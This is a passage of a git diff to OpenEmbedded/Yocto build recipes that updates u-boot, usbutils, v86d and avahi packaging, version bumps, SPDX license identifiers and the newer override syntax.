install -Dm 0644 ${UBOOT_EXTLINUX_CONFIG} ${D}/${UBOOT_EXTLINUX_INSTALL_DIR}/${UBOOT_EXTLINUX_CONF_NAME}
fi
-
}
-FILES_${PN} = "/boot ${sysconfdir} ${datadir}"
+PACKAGE_BEFORE_PN += "${PN}-env ${PN}-extlinux"
+
+RPROVIDES:${PN}-env += "u-boot-default-env"
+ALLOW_EMPTY:${PN}-env = "1"
+FILES:${PN}-env = " \
+ ${@ '${sysconfdir}/${UBOOT_INITIAL_ENV}*' if d.getVar('UBOOT_INITIAL_ENV') else ''} \
+ ${sysconfdir}/fw_env.config \
+"
+
+FILES:${PN}-extlinux = "${UBOOT_EXTLINUX_INSTALL_DIR}/${UBOOT_EXTLINUX_CONF_NAME}"
+RDEPENDS:${PN} += "${@bb.utils.contains('UBOOT_EXTLINUX', '1', '${PN}-extlinux', '', d)}"
+
+FILES:${PN} = "/boot ${datadir}"
+RDEPENDS:${PN} += "${PN}-env"
do_deploy () {
if [ -n "${UBOOT_CONFIG}" ]
@@ -235,25 +211,47 @@ do_deploy () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -d ${DEPLOYDIR}
- install -m 644 ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX} ${DEPLOYDIR}/u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
+ install -D -m 644 ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX} ${DEPLOYDIR}/${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
cd ${DEPLOYDIR}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}
+
+ # Deploy the uboot-initial-env
+ if [ -n "${UBOOT_INITIAL_ENV}" ]; then
+ install -D -m 644 ${B}/${config}/u-boot-initial-env-${type} ${DEPLOYDIR}/${UBOOT_INITIAL_ENV}-${MACHINE}-${type}-${PV}-${PR}
+ cd ${DEPLOYDIR}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${type}-${PV}-${PR} ${UBOOT_INITIAL_ENV}-${MACHINE}-${type}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${type}-${PV}-${PR} ${UBOOT_INITIAL_ENV}-${type}
+ fi
fi
done
- unset j
+ unset j
done
- unset i
+ unset i
else
- install -d ${DEPLOYDIR}
- install -m 644 ${B}/${UBOOT_BINARY} ${DEPLOYDIR}/${UBOOT_IMAGE}
+ install -D -m 644 ${B}/${UBOOT_BINARY} ${DEPLOYDIR}/${UBOOT_IMAGE}
+
cd ${DEPLOYDIR}
rm -f ${UBOOT_BINARY} ${UBOOT_SYMLINK}
ln -sf ${UBOOT_IMAGE} ${UBOOT_SYMLINK}
ln -sf ${UBOOT_IMAGE} ${UBOOT_BINARY}
+
+ # Deploy the uboot-initial-env
+ if [ -n "${UBOOT_INITIAL_ENV}" ]; then
+ install -D -m 644 ${B}/u-boot-initial-env ${DEPLOYDIR}/${UBOOT_INITIAL_ENV}-${MACHINE}-${PV}-${PR}
+ cd ${DEPLOYDIR}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${PV}-${PR} ${UBOOT_INITIAL_ENV}-${MACHINE}
+ ln -sf ${UBOOT_INITIAL_ENV}-${MACHINE}-${PV}-${PR} ${UBOOT_INITIAL_ENV}
+ fi
+ fi
+
+ if [ -e ${WORKDIR}/fw_env.config ] ; then
+ install -D -m 644 ${WORKDIR}/fw_env.config ${DEPLOYDIR}/fw_env.config-${MACHINE}-${PV}-${PR}
+ cd ${DEPLOYDIR}
+ ln -sf fw_env.config-${MACHINE}-${PV}-${PR} fw_env.config-${MACHINE}
+ ln -sf fw_env.config-${MACHINE}-${PV}-${PR} fw_env.config
fi
if [ -n "${UBOOT_ELF}" ]
@@ -294,17 +292,17 @@ do_deploy () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -m 644 ${B}/${config}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_IMAGE}-${type}-${PV}-${PR}
- rm -f ${DEPLOYDIR}/${SPL_BINARYNAME} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_BINARYNAME}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_BINARYNAME}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_SYMLINK}
+ install -m 644 ${B}/${config}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}
+ rm -f ${DEPLOYDIR}/${SPL_BINARYFILE} ${DEPLOYDIR}/${SPL_SYMLINK}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_BINARYFILE}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_BINARYFILE}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_SYMLINK}
fi
done
- unset j
+ unset j
done
- unset i
+ unset i
else
install -m 644 ${B}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_IMAGE}
rm -f ${DEPLOYDIR}/${SPL_BINARYNAME} ${DEPLOYDIR}/${SPL_SYMLINK}
@@ -328,6 +326,11 @@ do_deploy () {
ln -sf ${UBOOT_EXTLINUX_SYMLINK} ${DEPLOYDIR}/${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}
ln -sf ${UBOOT_EXTLINUX_SYMLINK} ${DEPLOYDIR}/${UBOOT_EXTLINUX_CONF_NAME}
fi
+
+ if [ -n "${UBOOT_DTB}" ]
+ then
+ install -m 644 ${B}/arch/${UBOOT_ARCH}/dts/${UBOOT_DTB_BINARY} ${DEPLOYDIR}/
+ fi
}
addtask deploy before do_build after do_compile
diff --git a/meta/recipes-bsp/u-boot/u-boot_2019.10.bb b/meta/recipes-bsp/u-boot/u-boot_2019.10.bb
deleted file mode 100644
index 02d67c0db2..0000000000
--- a/meta/recipes-bsp/u-boot/u-boot_2019.10.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-require u-boot-common.inc
-require u-boot.inc
-
-DEPENDS += "bc-native dtc-native"
diff --git a/meta/recipes-bsp/u-boot/u-boot_2022.01.bb b/meta/recipes-bsp/u-boot/u-boot_2022.01.bb
new file mode 100644
index 0000000000..0d2464d74b
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot_2022.01.bb
@@ -0,0 +1,9 @@
+require u-boot-common.inc
+require u-boot.inc
+
+SRC_URI:append = " file://0001-riscv32-Use-double-float-ABI-for-rv32.patch \
+ file://0001-riscv-fix-build-with-binutils-2.38.patch \
+ "
+
+DEPENDS += "bc-native dtc-native python3-setuptools-native"
+
diff --git a/meta/recipes-bsp/usbinit/usbinit.bb b/meta/recipes-bsp/usbinit/usbinit.bb
index ef98f0bf62..ffaca4b58d 100644
--- a/meta/recipes-bsp/usbinit/usbinit.bb
+++ b/meta/recipes-bsp/usbinit/usbinit.bb
@@ -4,7 +4,7 @@ all sorts of nifty things like SSH and NFS in one go plus charging over the \
same wire, at higher speeds than most Wifi connections."
HOMEPAGE = "http://linux-sunxi.org/USB_Gadget/Ethernet"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://${WORKDIR}/COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
PR = "r3"
diff --git a/meta/recipes-bsp/usbutils/usbutils_012.bb b/meta/recipes-bsp/usbutils/usbutils_012.bb
deleted file mode 100644
index 0213e7af63..0000000000
--- a/meta/recipes-bsp/usbutils/usbutils_012.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Host side USB console utilities"
-DESCRIPTION = "Contains the lsusb utility for inspecting the devices connected to the USB bus."
-HOMEPAGE = "http://www.linux-usb.org"
-SECTION = "base"
-
-LICENSE = "GPLv2+ & (GPLv2 | GPLv3)"
-# License files went missing in 010, when 011 is released add LICENSES/* back
-LIC_FILES_CHKSUM = "file://lsusb.c;endline=1;md5=7d4861d978ff5ba7cb2b319ed1d4afe3 \
- file://lsusb.py.in;beginline=2;endline=2;md5=194d6a0226bf90f4f683e8968878b6cd"
-
-DEPENDS = "libusb1 virtual/libiconv udev"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/usb/usbutils/usbutils-${PV}.tar.gz \
- "
-SRC_URI[md5sum] = "7484445cbcf04b3eacac892fe58f8d9f"
-SRC_URI[sha256sum] = "ae2e10aad530d95839b6f4d46cd41715eae6f0f1789310d793e9be21b3e7ae20"
-
-inherit autotools pkgconfig distro_features_check update-alternatives
-
-ALTERNATIVE_${PN} = "lsusb"
-ALTERNATIVE_PRIORITY = "100"
-
-# The binaries are mostly GPLv2+ apart from lsusb.py which is GPLv2 or v3.
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-python = "GPLv2 | GPLv3"
-
-RRECOMMENDS_${PN} = "udev-hwdb"
-
-PACKAGE_BEFORE_PN =+ "${PN}-python"
-FILES_${PN}-python += "${bindir}/lsusb.py"
-RDEPENDS_${PN}-python = "python3-core"
diff --git a/meta/recipes-bsp/usbutils/usbutils_014.bb b/meta/recipes-bsp/usbutils/usbutils_014.bb
new file mode 100644
index 0000000000..e728f1a190
--- /dev/null
+++ b/meta/recipes-bsp/usbutils/usbutils_014.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Host side USB console utilities"
+DESCRIPTION = "Contains the lsusb utility for inspecting the devices connected to the USB bus."
+HOMEPAGE = "http://www.linux-usb.org"
+SECTION = "base"
+
+LICENSE = "GPL-2.0-or-later & (GPL-2.0-only | GPL-3.0-only)"
+# License files went missing in 010, when 011 is released add LICENSES/* back
+LIC_FILES_CHKSUM = "file://lsusb.c;endline=1;md5=7226e442a172bcf25807246d7ef1eba1 \
+ file://lsusb.py.in;beginline=2;endline=2;md5=c443ada211d701156e42ea36d41625b3 \
+ "
+
+DEPENDS = "libusb1 virtual/libiconv udev"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/usb/usbutils/usbutils-${PV}.tar.gz \
+ "
+SRC_URI[sha256sum] = "59398ab012888dfe0fd12e447b45f36801e9d7b71d9a865fc38e2f549afdb9d0"
+
+inherit autotools pkgconfig update-alternatives
+
+ALTERNATIVE:${PN} = "lsusb"
+ALTERNATIVE_PRIORITY = "100"
+
+# The binaries are mostly GPL-2.0-or-later apart from lsusb.py which is
+# GPL-2.0-only or GPL-3.0-only.
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:${PN}-python = "GPL-2.0-only | GPL-3.0-only"
+
+RRECOMMENDS:${PN} = "udev-hwdb"
+
+PACKAGE_BEFORE_PN =+ "${PN}-python"
+FILES:${PN}-python += "${bindir}/lsusb.py"
+RDEPENDS:${PN}-python = "python3-core"
diff --git a/meta/recipes-bsp/v86d/v86d_0.1.10.bb b/meta/recipes-bsp/v86d/v86d_0.1.10.bb
index 84e27d2007..5f342b1120 100644
--- a/meta/recipes-bsp/v86d/v86d_0.1.10.bb
+++ b/meta/recipes-bsp/v86d/v86d_0.1.10.bb
@@ -1,12 +1,13 @@
SUMMARY = "User support binary for the uvesafb kernel module"
-HOMEPAGE = "http://dev.gentoo.org/~spock/projects/uvesafb/"
+HOMEPAGE = "https://tracker.debian.org/pkg/v86d"
+DESCRIPTION = "v86d provides a backend for kernel drivers that need to execute x86 BIOS code. The code is executed in a controlled environment and the results are passed back to the kernel via the netlink interface."
# the copyright info is at the bottom of README, expect break
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://README;md5=94ac1971e4f2309dc322d598e7b1f7dd"
DEPENDS = "virtual/kernel"
-RRECOMMENDS_${PN} = "kernel-module-uvesafb"
+RRECOMMENDS:${PN} = "kernel-module-uvesafb"
PR = "r2"
SRC_URI = "http://snapshot.debian.org/archive/debian/20110427T035506Z/pool/main/v/${BPN}/${BPN}_${PV}.orig.tar.gz \
diff --git a/meta/recipes-connectivity/avahi/avahi-ui_0.7.bb b/meta/recipes-connectivity/avahi/avahi-ui_0.7.bb
deleted file mode 100644
index 1c6e46aaba..0000000000
--- a/meta/recipes-connectivity/avahi/avahi-ui_0.7.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-require avahi.inc
-
-inherit distro_features_check
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-DEPENDS += "avahi"
-
-AVAHI_GTK = "gtk3"
-
-S = "${WORKDIR}/avahi-${PV}"
-
-PACKAGES += "${PN}-utils avahi-discover"
-
-FILES_${PN} = "${libdir}/libavahi-ui*.so.*"
-FILES_${PN}-utils = "${bindir}/b* ${datadir}/applications/b*"
-FILES_avahi-discover = "${datadir}/applications/avahi-discover.desktop \
- ${datadir}/avahi/interfaces/avahi-discover.ui \
- ${bindir}/avahi-discover-standalone \
- "
-
-do_install_append () {
- rm ${D}${sysconfdir} -rf
- if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','true','false',d)}; then
- if [ "${nonarch_base_libdir}" != "${base_libdir}" ];then
- rm ${D}${nonarch_base_libdir} -rf
- fi
- else
- rm ${D}${base_libdir} -rf
- fi
- rm ${D}${systemd_unitdir} -rf
- # The ${systemd_unitdir} is /lib/systemd, so we need rmdir /lib,
- # but not ${base_libdir} here. And the /lib may not exist
- # whithout systemd.
- [ ! -d ${D}/lib ] || rmdir ${D}/lib --ignore-fail-on-non-empty
- rm ${D}${bindir}/avahi-b*
- rm ${D}${bindir}/avahi-p*
- rm ${D}${bindir}/avahi-r*
- rm ${D}${bindir}/avahi-s*
- rm ${D}${includedir}/avahi-c* -rf
- rm ${D}${includedir}/avahi-g* -rf
- rm ${D}${libdir}/libavahi-c*
- rm ${D}${libdir}/libavahi-g*
- rm ${D}${libdir}/pkgconfig/avahi-c*
- rm ${D}${libdir}/pkgconfig/avahi-g*
- rm ${D}${sbindir} -rf
- rm ${D}${datadir}/avahi/a*
- rm ${D}${datadir}/locale/ -rf
- rm ${D}${datadir}/dbus* -rf
- rm ${D}${mandir}/man1/a*
- rm ${D}${mandir}/man5 -rf
- rm ${D}${mandir}/man8 -rf
- rm ${D}${libdir}/girepository-1.0/ -rf
- rm ${D}${datadir}/gir-1.0/ -rf
-}
diff --git a/meta/recipes-connectivity/avahi/avahi.inc b/meta/recipes-connectivity/avahi/avahi.inc
deleted file mode 100644
index 94fe6a16b6..0000000000
--- a/meta/recipes-connectivity/avahi/avahi.inc
+++ /dev/null
@@ -1,86 +0,0 @@
-SUMMARY = "Avahi IPv4LL network address configuration daemon"
-DESCRIPTION = 'Avahi is a fully LGPL framework for Multicast DNS Service Discovery. It \
-allows programs to publish and discover services and hosts running on a local network \
-with no specific configuration. This tool implements IPv4LL, "Dynamic Configuration of \
-IPv4 Link-Local Addresses" (IETF RFC3927), a protocol for automatic IP address \
-configuration from the link-local 169.254.0.0/16 range without the need for a central \
-server.'
-AUTHOR = "Lennart Poettering <lennart@poettering.net>"
-HOMEPAGE = "http://avahi.org"
-BUGTRACKER = "https://github.com/lathiat/avahi/issues"
-SECTION = "network"
-
-# major part is under LGPLv2.1+, but several .dtd, .xsl, initscripts and
-# python scripts are under GPLv2+
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://avahi-common/address.h;endline=25;md5=b1d1d2cda1c07eb848ea7d6215712d9d \
- file://avahi-core/dns.h;endline=23;md5=6fe82590b81aa0ddea5095b548e2fdcb \
- file://avahi-daemon/main.c;endline=21;md5=9ee77368c5407af77caaef1b07285969 \
- file://avahi-client/client.h;endline=23;md5=f4ac741a25c4f434039ba3e18c8674cf"
-
-SRC_URI = "https://github.com/lathiat/avahi/releases/download/v${PV}/avahi-${PV}.tar.gz \
- file://fix-CVE-2017-6519.patch \
- "
-
-UPSTREAM_CHECK_URI = "https://github.com/lathiat/avahi/releases/"
-SRC_URI[md5sum] = "d76c59d0882ac6c256d70a2a585362a6"
-SRC_URI[sha256sum] = "57a99b5dfe7fdae794e3d1ee7a62973a368e91e414bd0dfa5d84434de5b14804"
-
-DEPENDS = "expat libcap libdaemon glib-2.0 intltool-native"
-
-# For gtk related PACKAGECONFIGs: gtk, gtk3
-AVAHI_GTK ?= ""
-
-PACKAGECONFIG ??= "dbus ${AVAHI_GTK}"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
-PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+"
-PACKAGECONFIG[gtk3] = "--enable-gtk3,--disable-gtk3,gtk+3"
-PACKAGECONFIG[libdns_sd] = "--enable-compat-libdns_sd --enable-dbus,,dbus"
-
-inherit autotools pkgconfig gettext gobject-introspection
-
-EXTRA_OECONF = "--with-avahi-priv-access-group=adm \
- --disable-stack-protector \
- --disable-gdbm \
- --disable-mono \
- --disable-monodoc \
- --disable-qt3 \
- --disable-qt4 \
- --disable-python \
- --disable-doxygen-doc \
- --enable-manpages \
- ${EXTRA_OECONF_SYSVINIT} \
- ${EXTRA_OECONF_SYSTEMD} \
- "
-
-# The distro choice determines what init scripts are installed
-EXTRA_OECONF_SYSVINIT = "${@bb.utils.contains('DISTRO_FEATURES','sysvinit','--with-distro=debian','--with-distro=none',d)}"
-EXTRA_OECONF_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES','systemd','--with-systemdsystemunitdir=${systemd_unitdir}/system/','--without-systemdsystemunitdir',d)}"
-
-do_configure_prepend() {
- sed 's:AM_CHECK_PYMOD:echo "no pymod" #AM_CHECK_PYMOD:g' -i ${S}/configure.ac
-
- # This m4 file will get in the way of our introspection.m4 with special cross-compilation fixes
- rm "${S}/common/introspection.m4" || true
-}
-
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/avahi-gobject/.libs:${B}/avahi-common/.libs:${B}/avahi-client/.libs:${B}/avahi-glib/.libs"
-}
-
-RRECOMMENDS_${PN}_append_libc-glibc = " libnss-mdns"
-
-do_install() {
- autotools_do_install
- rm -rf ${D}/run
- rm -rf ${D}${datadir}/dbus-1/interfaces
- test -d ${D}${datadir}/dbus-1 && rmdir --ignore-fail-on-non-empty ${D}${datadir}/dbus-1
- rm -rf ${D}${libdir}/avahi
-}
-
-PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "libdns_sd", "libavahi-compat-libdnssd", "", d)}"
-
-FILES_libavahi-compat-libdnssd = "${libdir}/libdns_sd.so.*"
-
-RPROVIDES_libavahi-compat-libdnssd = "libdns-sd"
diff --git a/meta/recipes-connectivity/avahi/avahi_0.7.bb b/meta/recipes-connectivity/avahi/avahi_0.7.bb
deleted file mode 100644
index 2e04d304c7..0000000000
--- a/meta/recipes-connectivity/avahi/avahi_0.7.bb
+++ /dev/null
@@ -1,81 +0,0 @@
-require avahi.inc
-
-SRC_URI += "file://00avahi-autoipd \
- file://99avahi-autoipd \
- file://initscript.patch \
- file://0001-Fix-opening-etc-resolv.conf-error.patch \
- "
-
-inherit update-rc.d systemd useradd
-
-PACKAGES =+ "libavahi-gobject avahi-daemon libavahi-common libavahi-core libavahi-client avahi-dnsconfd libavahi-glib avahi-autoipd avahi-utils"
-
-# As avahi doesn't put any files into PN, clear the files list to avoid problems
-# if extra libraries appear.
-FILES_${PN} = ""
-FILES_avahi-autoipd = "${sbindir}/avahi-autoipd \
- ${sysconfdir}/avahi/avahi-autoipd.action \
- ${sysconfdir}/dhcp/*/avahi-autoipd \
- ${sysconfdir}/udhcpc.d/00avahi-autoipd \
- ${sysconfdir}/udhcpc.d/99avahi-autoipd"
-FILES_libavahi-common = "${libdir}/libavahi-common.so.*"
-FILES_libavahi-core = "${libdir}/libavahi-core.so.* ${libdir}/girepository-1.0/AvahiCore*.typelib"
-FILES_avahi-daemon = "${sbindir}/avahi-daemon \
- ${sysconfdir}/avahi/avahi-daemon.conf \
- ${sysconfdir}/avahi/hosts \
- ${sysconfdir}/avahi/services \
- ${sysconfdir}/dbus-1 \
- ${sysconfdir}/init.d/avahi-daemon \
- ${datadir}/avahi/introspection/*.introspect \
- ${datadir}/avahi/avahi-service.dtd \
- ${datadir}/avahi/service-types \
- ${datadir}/dbus-1/system-services"
-FILES_libavahi-client = "${libdir}/libavahi-client.so.*"
-FILES_avahi-dnsconfd = "${sbindir}/avahi-dnsconfd \
- ${sysconfdir}/avahi/avahi-dnsconfd.action \
- ${sysconfdir}/init.d/avahi-dnsconfd"
-FILES_libavahi-glib = "${libdir}/libavahi-glib.so.*"
-FILES_libavahi-gobject = "${libdir}/libavahi-gobject.so.* ${libdir}/girepository-1.0/Avahi*.typelib"
-FILES_avahi-utils = "${bindir}/avahi-*"
-
-RDEPENDS_${PN}-dev = "avahi-daemon (= ${EXTENDPKGV}) libavahi-core (= ${EXTENDPKGV})"
-RDEPENDS_${PN}-dev += "${@["", " libavahi-client (= ${EXTENDPKGV})"][bb.utils.contains('PACKAGECONFIG', 'dbus', 1, 0, d)]}"
-
-RRECOMMENDS_avahi-daemon_append_libc-glibc = " libnss-mdns"
-
-CONFFILES_avahi-daemon = "${sysconfdir}/avahi/avahi-daemon.conf"
-
-USERADD_PACKAGES = "avahi-daemon avahi-autoipd"
-USERADD_PARAM_avahi-daemon = "--system --home /run/avahi-daemon \
- --no-create-home --shell /bin/false \
- --user-group avahi"
-
-USERADD_PARAM_avahi-autoipd = "--system --home /run/avahi-autoipd \
- --no-create-home --shell /bin/false \
- --user-group \
- -c \"Avahi autoip daemon\" \
- avahi-autoipd"
-
-INITSCRIPT_PACKAGES = "avahi-daemon avahi-dnsconfd"
-INITSCRIPT_NAME_avahi-daemon = "avahi-daemon"
-INITSCRIPT_PARAMS_avahi-daemon = "defaults 21 19"
-INITSCRIPT_NAME_avahi-dnsconfd = "avahi-dnsconfd"
-INITSCRIPT_PARAMS_avahi-dnsconfd = "defaults 22 19"
-
-SYSTEMD_PACKAGES = "${PN}-daemon ${PN}-dnsconfd"
-SYSTEMD_SERVICE_${PN}-daemon = "avahi-daemon.service"
-SYSTEMD_SERVICE_${PN}-dnsconfd = "avahi-dnsconfd.service"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/udhcpc.d
- install ${WORKDIR}/00avahi-autoipd ${D}${sysconfdir}/udhcpc.d
- install ${WORKDIR}/99avahi-autoipd ${D}${sysconfdir}/udhcpc.d
-}
-
-# At the time the postinst runs, dbus might not be setup so only restart if running
-# Don't exit early, because update-rc.d needs to run subsequently.
-pkg_postinst_avahi-daemon () {
-if [ -z "$D" ]; then
- killall -q -HUP dbus-daemon || true
-fi
-}
diff --git a/meta/recipes-connectivity/avahi/avahi_0.8.bb b/meta/recipes-connectivity/avahi/avahi_0.8.bb
new file mode 100644
index 0000000000..9bb5e5861e
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/avahi_0.8.bb
@@ -0,0 +1,192 @@
+SUMMARY = "Avahi IPv4LL network address configuration daemon"
+DESCRIPTION = 'Avahi is a fully LGPL framework for Multicast DNS Service Discovery. It \
+allows programs to publish and discover services and hosts running on a local network \
+with no specific configuration. This tool implements IPv4LL, "Dynamic Configuration of \
+IPv4 Link-Local Addresses" (IETF RFC3927), a protocol for automatic IP address \
+configuration from the link-local 169.254.0.0/16 range without the need for a central \
+server.'
+AUTHOR = "Lennart Poettering <lennart@poettering.net>"
+HOMEPAGE = "http://avahi.org"
+BUGTRACKER = "https://github.com/lathiat/avahi/issues"
+SECTION = "network"
+
+# major part is under LGPL-2.1-or-later, but several .dtd, .xsl, initscripts and
+# python scripts are under GPL-2.0-or-later
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://avahi-common/address.h;endline=25;md5=b1d1d2cda1c07eb848ea7d6215712d9d \
+ file://avahi-core/dns.h;endline=23;md5=6fe82590b81aa0ddea5095b548e2fdcb \
+ file://avahi-daemon/main.c;endline=21;md5=9ee77368c5407af77caaef1b07285969 \
+ file://avahi-client/client.h;endline=23;md5=f4ac741a25c4f434039ba3e18c8674cf"
+
+SRC_URI = "https://github.com/lathiat/avahi/releases/download/v${PV}/avahi-${PV}.tar.gz \
+ file://00avahi-autoipd \
+ file://99avahi-autoipd \
+ file://initscript.patch \
+ file://0001-Fix-opening-etc-resolv.conf-error.patch \
+ file://handle-hup.patch \
+ file://local-ping.patch \
+ "
+
+UPSTREAM_CHECK_URI = "https://github.com/lathiat/avahi/releases/"
+SRC_URI[md5sum] = "229c6aa30674fc43c202b22c5f8c2be7"
+SRC_URI[sha256sum] = "060309d7a333d38d951bc27598c677af1796934dbd98e1024e7ad8de798fedda"
+
+# Issue only affects Debian/SUSE, not us
+CVE_CHECK_IGNORE += "CVE-2021-26720"
+
+DEPENDS = "expat libcap libdaemon glib-2.0"
+
+# For gtk related PACKAGECONFIGs: gtk, gtk3
+AVAHI_GTK ?= ""
+
+PACKAGECONFIG ??= "dbus ${@bb.utils.contains_any('DISTRO_FEATURES','x11 wayland','${AVAHI_GTK}','',d)}"
+PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
+PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+"
+PACKAGECONFIG[gtk3] = "--enable-gtk3,--disable-gtk3,gtk+3"
+PACKAGECONFIG[libdns_sd] = "--enable-compat-libdns_sd --enable-dbus,,dbus"
+PACKAGECONFIG[libevent] = "--enable-libevent,--disable-libevent,libevent"
+PACKAGECONFIG[qt5] = "--enable-qt5,--disable-qt5,qtbase"
+
+inherit autotools pkgconfig gettext gobject-introspection
+
+EXTRA_OECONF = "--with-avahi-priv-access-group=adm \
+ --disable-stack-protector \
+ --disable-gdbm \
+ --disable-dbm \
+ --disable-mono \
+ --disable-monodoc \
+ --disable-qt3 \
+ --disable-qt4 \
+ --disable-python \
+ --disable-doxygen-doc \
+ --enable-manpages \
+ ${EXTRA_OECONF_SYSVINIT} \
+ ${EXTRA_OECONF_SYSTEMD} \
+ "
+
+# The distro choice determines what init scripts are installed
+EXTRA_OECONF_SYSVINIT = "${@bb.utils.contains('DISTRO_FEATURES','sysvinit','--with-distro=debian','--with-distro=none',d)}"
+EXTRA_OECONF_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES','systemd','--with-systemdsystemunitdir=${systemd_system_unitdir}/','--without-systemdsystemunitdir',d)}"
+
+do_configure:prepend() {
+ # This m4 file will get in the way of our introspection.m4 with special cross-compilation fixes
+ rm "${S}/common/introspection.m4" || true
+}
+
+do_compile:prepend() {
+ export GIR_EXTRA_LIBS_PATH="${B}/avahi-gobject/.libs:${B}/avahi-common/.libs:${B}/avahi-client/.libs:${B}/avahi-glib/.libs"
+}
+
+RRECOMMENDS:${PN}:append:libc-glibc = " libnss-mdns"
+
+do_install() {
+ autotools_do_install
+ rm -rf ${D}/run
+ rm -rf ${D}${datadir}/dbus-1/interfaces
+ test -d ${D}${datadir}/dbus-1 && rmdir --ignore-fail-on-non-empty ${D}${datadir}/dbus-1
+ rm -rf ${D}${libdir}/avahi
+
+ # Move example service files out of /etc/avahi/services so we don't
+ # advertise ssh & sftp-ssh by default
+ install -d ${D}${docdir}/avahi
+ mv ${D}${sysconfdir}/avahi/services/* ${D}${docdir}/avahi
+}
+
+PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "libdns_sd", "libavahi-compat-libdnssd", "", d)}"
+
+FILES:libavahi-compat-libdnssd = "${libdir}/libdns_sd.so.*"
+
+RPROVIDES:libavahi-compat-libdnssd = "libdns-sd"
+
+inherit update-rc.d systemd useradd
+
+PACKAGES =+ "libavahi-gobject avahi-daemon libavahi-common libavahi-core libavahi-client avahi-dnsconfd libavahi-glib avahi-autoipd avahi-utils avahi-discover avahi-ui"
+
+FILES:avahi-ui = "${libdir}/libavahi-ui*.so.*"
+FILES:avahi-discover = "${datadir}/applications/avahi-discover.desktop \
+ ${datadir}/avahi/interfaces/avahi-discover.ui \
+ ${bindir}/avahi-discover-standalone \
+ "
+
+LICENSE:libavahi-gobject = "LGPL-2.1-or-later"
